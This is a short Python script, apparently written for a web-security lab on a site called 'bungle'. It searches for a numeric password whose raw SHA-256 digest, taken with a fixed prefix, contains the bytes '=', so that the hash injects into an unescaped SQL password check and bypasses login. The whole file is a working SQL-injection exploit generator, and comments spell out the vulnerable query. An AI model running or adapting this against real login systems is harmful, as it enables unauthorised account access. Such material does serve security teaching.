import string
import itertools
from pysha256 import sha256

# String used at the beginning of the SHA256 hash on the server side
prefix = "bungle-"

# SQL injection string that the generated SHA256 digest must include with to be 
# a potential valid digest
# This works because the password single quotes are not escaped, and the SQL 
# query ends up like: 
# "SELECT * FROM users WHERE username='victim' AND password='[random characters]'='[more random characters]'"
mustInclude = "'='"

# Loop through possible digit combinations
for i in range(len(string.digits)):
    
    # Generate all possible password combinations from the set of ASCII 
    # numbers, using as many characters as specified by the loop control 
    # variable
    possiblePasswords = itertools.product(string.digits, repeat = i)
    # Convert the combinations into an iterable list
    possiblePasswords = (''.join(password) for password in possiblePasswords)

    # Loop through the possible password combinations
    for password in possiblePasswords:
        
        # Add the prefix and convert to bytes
        passwordBytes = (prefix + password).encode("latin-1")
        
        # Get the SHA256 digest
        passwordDigest = sha256(passwordBytes).digest().decode("latin-1")
        
        # If the digest includes the SQL injection string we're looking for, 
        # we've found a valid hash so print the password
        if passwordDigest.find(mustInclude) != -1:
            
            print("Found potential password: \"" + password + "\" with digest " + passwordDigest)